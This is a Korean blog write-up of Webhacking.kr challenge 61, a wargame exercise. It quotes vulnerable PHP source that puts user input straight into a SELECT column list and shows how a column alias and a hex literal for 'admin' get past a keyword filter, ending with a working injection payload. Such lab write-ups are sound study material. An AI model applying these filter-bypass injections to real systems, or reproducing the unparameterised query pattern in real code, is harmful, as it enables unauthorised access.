본문 바로가기
[웹해킹]/[Webhacking.kr]

[Webhacking.kr] 61번

by Hevton 2020. 11. 29.
반응형

Webhacking.kr 에서의 마지막 문제.

 

 

소스보기

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'] = addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15) exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'] == "admin") solve(61);
  echo "</body></html>";
?>

?id=id를 입력해본 결과 test라는 id 하나가 뜬다.

이로써, 데이터가 하나는 있다는 것. 그 데이터가 admin으로 출력되게끔 바꿔줘야한다.

 

이번에 사용할 키워드는 alias 이다.

흔히 as로 사용하는데, 출력되는 컬럼명에 별명을 지어주어서 ~로써 출력하게끔 해줄 수 있는 방법이다.

mysql> select 'admin';
+-------+
| admin |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

이거에 alias를 적용하면

mysql> select 'admin' as id;
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

이런식으로, 출력되는 컬럼명에 별명을 지어줄 수 있다. 이것의 가장 큰 장점이 있다면 바로 생략 가능 하다는 것.

mysql> select 'admin' id;
+-------+
| id    |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

이런식으로 말이다. 예전에 해킹문제를 풀다가 alias를 알게 된 게 이렇게 뿌듯한 경험을 줄 줄이야..

 

 

암튼 이 방식을 이용해서 문제를 풀면 되겠다.

'admin'이 필터링 중이라 이에 해당하는 값인 0x61646D696E로 우회해줄 수 있다.

 

근데 주의할 점이 있다. 내 SQL 환경을 예로 들자면, 물론 0x61646D696E='admin'은 참이긴 하지만, select 0x61646D696E 로 바로 출력해주면 그저 0x61646D696E이 곧이곧대로 출력된다.

mysql> select 0x61646D696E = 'admin';
+------------------------+
| 0x61646D696E = 'admin' |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)

mysql> select 0x61646D696E;
+----------------------------+
| 0x61646D696E               |
+----------------------------+
| 0x61646D696E               |
+----------------------------+
1 row in set (0.00 sec)

그래서 내 환경 기반에선 문제의 정답인 쿼리의 결과가 아래처럼 나온다 (테이블은 신경쓰지 않길 바란다)

mysql> select 0x61646D696E id from book order by title desc limit 1;
+--------------+
| id           |
+--------------+
| 0x61646D696E |
+--------------+

그리고 이 결과가 php 변수에 전달된 뒤 'admin'과 비교하게 된다면 참이 나오지 않는다. (php에서는 0x61646D696E != 'admin' 처럼, 인식이 안됨) 이러면 문제가 풀리지 않는다. (아래 결과도 참고)

<?php
if(0x61 == 'a') 
	echo 'good';
else
	echo 'not good';
    
    
output : not good

 

 

 

문제의 SQL 환경에서는 이 값이 숫자값 그대로가 아닌 문자형식으로 잘 출력되는지 확인해보자.

->

 

?id=0x61 as id 를 넣어본 결과 (select 0x61 as id from chall61 order by id desc limit 1 로 쿼리가 전송 )

출력값으로 0x61 곧이곧대로가 아닌, 0x61의 chr값인 'a'가 잘 출력되었다. 다행히 문제가 잘 풀리게끔 환경이 정리되어 있다 (당연히 그래야 이 문제를 풀 수 있다..)

 

 

아마 0x61646D696E이 char 형으로 출력 안되고 숫자값 그대로 출력되었으면 (내 sql 환경처럼..)

SQL 에서는 0x61646D696E = 'admin' 은 참이지만

php 에서는 0x61646D696E != 'admin' 으로, 인식이 안되어서 문제에 정답이 없었을 수도 있겠다.

 

 

여튼 문자로 잘 출력되는 환경임을 확인했으니

 

?id=0x61646D696E id

를 넣어주면 문제가 풀린다.

마지막문제끝.

참고로, 이런 환경인 분의 글이 하나 있어서 참조한다. 이분은 select 0x61646D696E 하면 'admin'이 출력.

girrr.tistory.com/79

반응형

'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글

[Webhacking.kr] 웹케알을 끝내며  (0) 2020.11.29
[Webhacking.kr] 60번  (0) 2020.11.29
[Webhacking.kr] 59번 + 멀티 바이트 취약점 정리  (0) 2020.11.28
[Webhacking.kr] 58번  (0) 2020.11.27
[Webhacking.kr] 57번  (0) 2020.11.26